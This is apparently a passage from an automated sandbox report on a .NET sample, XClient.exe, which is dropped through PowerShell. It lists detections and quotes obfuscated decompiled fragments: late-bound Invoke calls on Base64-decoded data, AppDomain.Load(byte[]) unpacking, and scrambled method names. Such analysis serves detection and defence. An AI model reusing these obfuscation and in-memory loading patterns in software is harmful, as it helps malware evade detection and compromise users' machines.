Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll

Source: C:\Users\user\Desktop\test2.exe.bin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe

File opened: C:\Windows\SYSTEM32\msftedit.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Data Obfuscation

Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.Wr6q5bLs7DHxrEdofIk9tA9iWzb5ofuBZPEYZ,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.pM4QEnBnBVISDTk2dijym9ux34gbaBAr0vf9P,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.AHb26KVUTlUGlLGlEb92na5ZNirEU3BtyyUwm,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.yXLnX0iaasTS9FyCIAqHnRBhDmNTyGz9ZvNSS,cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.BDLdIEcYlEzgbiyZ4d1LeUOqQXRluUZtthkvo9eDTRiFVmOFbuVxx26ozhPe0LMrmbTGvMI6()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{ZAeVAzy870sHQ1LF8XzIHJbNLv1p5YsTh40ig5ptzmalUvpWjhWDGNm[2],cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm._6dx4BHW1HHZSHLW09YKmb2bJzE19SROvP6o68AvHletDQD4vzb1AYX1V7VD5X1rf1BV83xgg(Convert.FromBase64String(ZAeVAzy870sHQ1LF8XzIHJbNLv1p5YsTh40ig5ptzmalUvpWjhWDGNm[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.Wr6q5bLs7DHxrEdofIk9tA9iWzb5ofuBZPEYZ,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.pM4QEnBnBVISDTk2dijym9ux34gbaBAr0vf9P,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.AHb26KVUTlUGlLGlEb92na5ZNirEU3BtyyUwm,WKLXtUFJUxWkLvpaCXwh7DlysyAipCMvV5eeS.yXLnX0iaasTS9FyCIAqHnRBhDmNTyGz9ZvNSS,cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.BDLdIEcYlEzgbiyZ4d1LeUOqQXRluUZtthkvo9eDTRiFVmOFbuVxx26ozhPe0LMrmbTGvMI6()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{ZAeVAzy870sHQ1LF8XzIHJbNLv1p5YsTh40ig5ptzmalUvpWjhWDGNm[2],cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm._6dx4BHW1HHZSHLW09YKmb2bJzE19SROvP6o68AvHletDQD4vzb1AYX1V7VD5X1rf1BV83xgg(Convert.FromBase64String(ZAeVAzy870sHQ1LF8XzIHJbNLv1p5YsTh40ig5ptzmalUvpWjhWDGNm[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: z3tuRhuzsGsxQPd9lSMpvNqzmf9eOT11tQapDWOuvLl4XbWKRzHsXDRZCQLBPvoZch5Tb System.AppDomain.Load(byte[])
Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: LAC1oLcwdALwfVqOOy1Riu9iJRtRZbMnqdz3QKzdhKx5iqtfh9Ljxzu System.AppDomain.Load(byte[])
Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: LAC1oLcwdALwfVqOOy1Riu9iJRtRZbMnqdz3QKzdhKx5iqtfh9Ljxzu
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: z3tuRhuzsGsxQPd9lSMpvNqzmf9eOT11tQapDWOuvLl4XbWKRzHsXDRZCQLBPvoZch5Tb System.AppDomain.Load(byte[])
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: LAC1oLcwdALwfVqOOy1Riu9iJRtRZbMnqdz3QKzdhKx5iqtfh9Ljxzu System.AppDomain.Load(byte[])
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	.Net Code: LAC1oLcwdALwfVqOOy1Riu9iJRtRZbMnqdz3QKzdhKx5iqtfh9Ljxzu

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04E36338 pushad ; ret	1_2_04E36341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04E36F1C pushad ; ret	1_2_04E36F23
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Code function: 3_2_00007FFC3DD900BD pushad ; iretd	3_2_00007FFC3DD900C1

Source: XClient.exe.0.dr, hTUHBEHQmRfs86X.cs	High entropy of concatenated method names: 'eT7CSgtYMfkNrDd', 'hmhe5vdmI6aGya2', 'aZEdtMsjRprkBNk', 'x6MisZ12pbC3L49iCdlvqTxtzdmdcpzg', '_4oJtvFjmGun6hcRHlex8QCuIO95v2UZC', '_08u3aADlCmi2cn239yvoG019oNjYEVcA', 'nQCAbY2PPXsjZkKYjffvZqreCVNfWMph', '_4h5tXRdOiXMMhrWQaLAOpn7y8vQ3NEtc', '_4uMtgtYBPYJjShLm7mqCUiTIOceXpHJU', 'jF2IOqEIIJ9lJXdSJqcfPsksrhK4rLov'
Source: XClient.exe.0.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	High entropy of concatenated method names: 'rAiPVUEzwJO8T0PdfEy7xjKeKFqKwbpfOLXG7', 'RPlEPFY1IfL9dB2VcIO33KMQSdZZLUrewmoKI', 'bS29nu81ncjbmPDHED7GIWRqg6Nl5meA7YLFK', 'RpktvTY5MCiw1ZNA1rKXNhjFt3MB2jOxxe7YR', 'yn3jH0xs8s3RjX1Pk7hJ1k9NqbO3N8eZwL1il', '_5Uay6ZZQ96ResnI4fJSC0PRlla4V4O3NrlJfv', 'Vlq4VrmWhMUwHJFKadstMsMMwwAS4OPtiPGx9', 'Wx6p5cUGaRJKJB5m8SaDpbDoWqNiTQNvfSt4d', 'hFVEcc0RgyRsN6SatfmSpi1h46A2MSsV9f6s4', 'GZLn6m7D3kSoodNxWv4nQwmIf6Xu04Li4Q94D36TRjQu9BjRR8x7mUSMOfcWLHywxVnKg'
Source: XClient.exe.0.dr, Pu2RYie7ItoFfHNwGY7nJEx0mZZWuK3Zyc8Cip1H57hq3TT0KC0ct7ahNbYgcfnHKTIUeOse5zM0aYl61EkDHkj.cs	High entropy of concatenated method names: 'HjmXesd6pwDBG5pnSmFdZ6Hbgaf7WCZ2uvypLPM1YaI481J6S46W2XG58rBPBrLkjlz44F7JucUepT8pW6hGzUi', 'usQBCfSDiAGh9Ke9xb0u6MTWibvhvIz28raR0kO5b05sns2tDZL13Bcd61MlqFBZEXzeLko5PQtAYCKzEa0EH4Z', 'QjJYAUJx9SpkkXLtrM807qgovROyvUZAQ9GaAfdFcScQOMRIo2moneh032iOZyOWRLIbg7atyjJ5Vt2Cx52NNNB', 'hWL7LPFZnDmCnKs4jtdUhEXKS6vo0IEqP66cGLrRrZFjAC5YgRndvpvGVEP1NjAfl0hKwk1qYmsi5W0XzoPW3Qk', 'gBHGT5Gpc2I6Uw0Kybe58EJbRBgaW7nmjyfrYHnZGaRROdg', 'Bjz9IBfuyMoLq2M11DyUcqi92xjy5k1YWp7i2NgpLpuWZvw', 'q0Y6JaWCVEAETJUqbvvBrSkjjF15xvyZoZCRhwVkxU5dhmd', 'xcWbaTQrlI1HVz8Cnc4x5B74yl2TRgm5jGr2YgSn25YFIev', 'PdyMeTGCtzfGwNvJL6BFoBbmicw99jdhg1CgDThd0skee2k', 'LnXkbCLmudgPKEGJih65KT2yqZ2ruPIRr91HlLogDwSuSWC'
Source: XClient.exe.0.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	High entropy of concatenated method names: 'N63qDT29evOtRxAgGebUumTfKZYIg3bs5LMkyUJ3XDsPlbhe7PjAtxnMZVjYzIPzsxDHR', 'z3tuRhuzsGsxQPd9lSMpvNqzmf9eOT11tQapDWOuvLl4XbWKRzHsXDRZCQLBPvoZch5Tb', 'bPdAiaQG7XZLrK1qZxI55S0mHyN7Jl5yHpaIoqTrLncZPpVx4pPGDVkeYB4hY6eD3lHzT', 'Wm5DGTxuGPLAc7hXlxdiXCYOGRhbGDiZGNtoQlGCeGMLgiCnRLOai9TGhbC6GxPDxkysU', 'pARUIDgQFtsdy7Bd5rMWSBg7pk3lgbQv9fHzewulxk9FX228t3dUc5gu0cS7zkYLguOkJ', 'vXtwdxl0ursQb97NsSt0qDTucOPQ3s21KcyuhY2EswRj6SaBYUXPRVpYgPSUOGrFGhx6H', 'OVLfpKCG9BnjSeiFZHpEiGc0orPyVStCe22chCWbdcveBuFWXs3D1nv0gTLT1Sti8KhrR', '_5LvvLySjBoGaHErFgiQmLpbmHdIm65GbpvP9v5AnEMoiOt2s3y3ReIzQuGUjb5smGaFf0', 'wkbUm3CjkkdjvuPo60KA1VF5cpGAbX8SOUFZqLUcaDGCpN6kJ7EP8Yw', 'Z8sDz7heEJ0sxvAVRqxVcsDyweAf5nMqbLjdOelOEv3sQMZeIqwwaH5'
Source: XClient.exe.0.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	High entropy of concatenated method names: '_6avM53x2QohqoJhS7wBZ1CSbYvNTmCFV0G9TcIFqd2S9FBChcgJHx0czopFJsgOm09xO5uU1', 'c8CqnjF9qWD61lP2ipzb4Sm181oM80V7KZTBQ0y6qXaDkfmyEdJCbPlOypIM1gmN8II7X9E6', 'plZt2yx37I3HDMObL1fbpCzWTjfgVw51V0MkEMUKuubg7of4K5NlyzBQuNlaCJkGXeNyz4bR', 'eFpB8V10PIjkdZqZpQQlFYyWgEREpQLOGwn3RFEQK0u1XNDB1tB09oYOdkxUHFZ95dPYSrGY', 'KsNXLC8P2LwRBn1WHJ8TCQcKVPXMRMRe36SBCTxxItyGIFEW4MlajC64JSU8MZhhl5MEjQ9I', 'ISZ5bT0HFFdRP1DN19zxcgHV2P4EOPdcNhEn9PuBxnVymF2Qa986dSWdzEBhTzkk056PyCHB', 'PW9bRjhBeokYl6yz9Kk2SslUdXTseVoD7Vxe4hvkkedAVdjOpYBfd1rzOa5x5JGJPJK7Umzj', 'D6jwhLRyRyuQE2kdHOLAaG3JAKB1zQ428yyY92OHHaPvBnwOagycvjdaHFWXIFHMBH1KHQ0C', 'vc5eaqbULMrxriBeLuoTVUFeHgpqjuyUIaXdozP3HbzaXNvFIc3Kv5QOvrcCBnDD8Q9yuZKC', 'fi9xL1d5NcWF1GQwmIQGbvvDjY6O2CymMOTTmKPfi70KI6CSXuezd1ZaOU1C2uvsxGZ2WdWA'
Source: XClient.exe.0.dr, baAfO6eh57uwRmfnb9ZgPW9GNd4C97yj82jLx.cs	High entropy of concatenated method names: 'FBNWljJUfRUOQHV8w5kXnivtFfvihr87V8fij', 'N3N7JwtMFIURW87Zd2HVZbIbG2Q4tHwh7ikej', 'B1UsqK3BpYtoo55elNJEb53GS0C4BTaQIZ5tg', 'C3gBLcFNJkCIB1aPhj8TVcFd5wa1qnkOytGkR', 'BAGercQozNU5ll1', 'pRsXO6M11LhQJ3Z', 'Nq9kdMsCokUEqhC', 'd1u9xj5WdnTP5q4', 'ZbkiMGaXA1UyJwz', 'Q6h2sNWLeb5UmQd'
Source: XClient.exe.0.dr, g1kPeRidOFWh0Mq0MDiiGrVS0VQoWjR9LoOiyyxhvEYhDnS1Y9nkoDD.cs	High entropy of concatenated method names: 'VnAbJoODtKisVBy9SiAIENlKxEhUXgX5exiB0QuqHxt3MeL1rBy2ZHl', 'hJNjb4ACG8m4LfFcFRQjlBemGYSGdLPOEu7AYsUVsI7TepYX5Tkm4Ni', 'frdyR57Y6gjgHH6VYoE4cGWT18oMjkhMpPM7cmtLYYrpt7wbAjPlIBQ', 'F5xEhnU7hl63oMlEZHMcn6Z4CMCSXdu1JkErNy5VoL1c5MmezBZcNTd', 'knQWD1iJeZD4eh2UfLwfytZY6rKYONhSvAjwI1VBf1TTI8xso3fziEu', 'rlVmKVaYfaOVfbWEp6E4ycLl1rYNf1bPNFqIkwFcXFmjurhdWDVS6im', 'Zg7qxS2XBZEHkisBbnADmlyURQPPxnIoCknLJAvG6qTarGhqaBU6FvS', '_7FjPXkphe9XxFusoxlK3MnQKjdzdH35wPynMUWyVOZpzWXnDcZJ6GPj', 'oaqFOrYjheWUMIioTDwW7rlNwzqvkjyLfRtEhry6VtTmB6xuu4DnUlH', 'mTgs5zCxmvC3ex4IJ6KG98hIFiEmIrZ0ORzsxAt6gxuObw7gQGiQSDX'
Source: XClient.exe.0.dr, xuigMhegpDWb7LyFrukanLGTDbKK1mTJMDADPB9Vz5qijEgBZbzo72QwF7mNBkuarMQ9LipLOQXs5xBkPhs96tO.cs	High entropy of concatenated method names: 'fk5LEgK7V2M3Hd149MjNFpfBZMY7yDzfMnatgVqrXr4zOIYIMEuPC2meTY0zUtUnnhnWwc2PlydoWivaE2lUSNV', 'QdgYZBpeJQLNoNPSSSpUt0LD2lSaP3SuPdDmPNzFBNaIb5s', 'aPs5pNPwlUAmCT43hITfLsEFpH21qsblBeCsZhyHWyhyOzY', 'ZqNDMvGPRADzq7RjcJkjZlJ34C3ar2ptOVzBZgPJC7276VL', 'iFkpACBewAllh3bnBTSG0AtnPyVKhvaNVXyFYyIyFdqy923'
Source: test.3.dr, hTUHBEHQmRfs86X.cs	High entropy of concatenated method names: 'eT7CSgtYMfkNrDd', 'hmhe5vdmI6aGya2', 'aZEdtMsjRprkBNk', 'x6MisZ12pbC3L49iCdlvqTxtzdmdcpzg', '_4oJtvFjmGun6hcRHlex8QCuIO95v2UZC', '_08u3aADlCmi2cn239yvoG019oNjYEVcA', 'nQCAbY2PPXsjZkKYjffvZqreCVNfWMph', '_4h5tXRdOiXMMhrWQaLAOpn7y8vQ3NEtc', '_4uMtgtYBPYJjShLm7mqCUiTIOceXpHJU', 'jF2IOqEIIJ9lJXdSJqcfPsksrhK4rLov'
Source: test.3.dr, gEI2RJZt7QvOAzrcBB7lnj6964hB0MzCMqosR.cs	High entropy of concatenated method names: 'rAiPVUEzwJO8T0PdfEy7xjKeKFqKwbpfOLXG7', 'RPlEPFY1IfL9dB2VcIO33KMQSdZZLUrewmoKI', 'bS29nu81ncjbmPDHED7GIWRqg6Nl5meA7YLFK', 'RpktvTY5MCiw1ZNA1rKXNhjFt3MB2jOxxe7YR', 'yn3jH0xs8s3RjX1Pk7hJ1k9NqbO3N8eZwL1il', '_5Uay6ZZQ96ResnI4fJSC0PRlla4V4O3NrlJfv', 'Vlq4VrmWhMUwHJFKadstMsMMwwAS4OPtiPGx9', 'Wx6p5cUGaRJKJB5m8SaDpbDoWqNiTQNvfSt4d', 'hFVEcc0RgyRsN6SatfmSpi1h46A2MSsV9f6s4', 'GZLn6m7D3kSoodNxWv4nQwmIf6Xu04Li4Q94D36TRjQu9BjRR8x7mUSMOfcWLHywxVnKg'
Source: test.3.dr, Pu2RYie7ItoFfHNwGY7nJEx0mZZWuK3Zyc8Cip1H57hq3TT0KC0ct7ahNbYgcfnHKTIUeOse5zM0aYl61EkDHkj.cs	High entropy of concatenated method names: 'HjmXesd6pwDBG5pnSmFdZ6Hbgaf7WCZ2uvypLPM1YaI481J6S46W2XG58rBPBrLkjlz44F7JucUepT8pW6hGzUi', 'usQBCfSDiAGh9Ke9xb0u6MTWibvhvIz28raR0kO5b05sns2tDZL13Bcd61MlqFBZEXzeLko5PQtAYCKzEa0EH4Z', 'QjJYAUJx9SpkkXLtrM807qgovROyvUZAQ9GaAfdFcScQOMRIo2moneh032iOZyOWRLIbg7atyjJ5Vt2Cx52NNNB', 'hWL7LPFZnDmCnKs4jtdUhEXKS6vo0IEqP66cGLrRrZFjAC5YgRndvpvGVEP1NjAfl0hKwk1qYmsi5W0XzoPW3Qk', 'gBHGT5Gpc2I6Uw0Kybe58EJbRBgaW7nmjyfrYHnZGaRROdg', 'Bjz9IBfuyMoLq2M11DyUcqi92xjy5k1YWp7i2NgpLpuWZvw', 'q0Y6JaWCVEAETJUqbvvBrSkjjF15xvyZoZCRhwVkxU5dhmd', 'xcWbaTQrlI1HVz8Cnc4x5B74yl2TRgm5jGr2YgSn25YFIev', 'PdyMeTGCtzfGwNvJL6BFoBbmicw99jdhg1CgDThd0skee2k', 'LnXkbCLmudgPKEGJih65KT2yqZ2ruPIRr91HlLogDwSuSWC'
Source: test.3.dr, AfQodiI2ksos9cbeP4eHGAs8tPh64J5dtok9uZ4lf3uTKe0pb7bqJ0bXYUQSLTQNr631C.cs	High entropy of concatenated method names: 'N63qDT29evOtRxAgGebUumTfKZYIg3bs5LMkyUJ3XDsPlbhe7PjAtxnMZVjYzIPzsxDHR', 'z3tuRhuzsGsxQPd9lSMpvNqzmf9eOT11tQapDWOuvLl4XbWKRzHsXDRZCQLBPvoZch5Tb', 'bPdAiaQG7XZLrK1qZxI55S0mHyN7Jl5yHpaIoqTrLncZPpVx4pPGDVkeYB4hY6eD3lHzT', 'Wm5DGTxuGPLAc7hXlxdiXCYOGRhbGDiZGNtoQlGCeGMLgiCnRLOai9TGhbC6GxPDxkysU', 'pARUIDgQFtsdy7Bd5rMWSBg7pk3lgbQv9fHzewulxk9FX228t3dUc5gu0cS7zkYLguOkJ', 'vXtwdxl0ursQb97NsSt0qDTucOPQ3s21KcyuhY2EswRj6SaBYUXPRVpYgPSUOGrFGhx6H', 'OVLfpKCG9BnjSeiFZHpEiGc0orPyVStCe22chCWbdcveBuFWXs3D1nv0gTLT1Sti8KhrR', '_5LvvLySjBoGaHErFgiQmLpbmHdIm65GbpvP9v5AnEMoiOt2s3y3ReIzQuGUjb5smGaFf0', 'wkbUm3CjkkdjvuPo60KA1VF5cpGAbX8SOUFZqLUcaDGCpN6kJ7EP8Yw', 'Z8sDz7heEJ0sxvAVRqxVcsDyweAf5nMqbLjdOelOEv3sQMZeIqwwaH5'
Source: test.3.dr, cWbnhgR87wIUBxR6cj09ZIB9qg4ITwrjmhzPldn3d2CFxlXGOKk6uFEWsevbTUJTkeJcPvRm.cs	High entropy of concatenated method names: '_6avM53x2QohqoJhS7wBZ1CSbYvNTmCFV0G9TcIFqd2S9FBChcgJHx0czopFJsgOm09xO5uU1', 'c8CqnjF9qWD61lP2ipzb4Sm181oM80V7KZTBQ0y6qXaDkfmyEdJCbPlOypIM1gmN8II7X9E6', 'plZt2yx37I3HDMObL1fbpCzWTjfgVw51V0MkEMUKuubg7of4K5NlyzBQuNlaCJkGXeNyz4bR', 'eFpB8V10PIjkdZqZpQQlFYyWgEREpQLOGwn3RFEQK0u1XNDB1tB09oYOdkxUHFZ95dPYSrGY', 'KsNXLC8P2LwRBn1WHJ8TCQcKVPXMRMRe36SBCTxxItyGIFEW4MlajC64JSU8MZhhl5MEjQ9I', 'ISZ5bT0HFFdRP1DN19zxcgHV2P4EOPdcNhEn9PuBxnVymF2Qa986dSWdzEBhTzkk056PyCHB', 'PW9bRjhBeokYl6yz9Kk2SslUdXTseVoD7Vxe4hvkkedAVdjOpYBfd1rzOa5x5JGJPJK7Umzj', 'D6jwhLRyRyuQE2kdHOLAaG3JAKB1zQ428yyY92OHHaPvBnwOagycvjdaHFWXIFHMBH1KHQ0C', 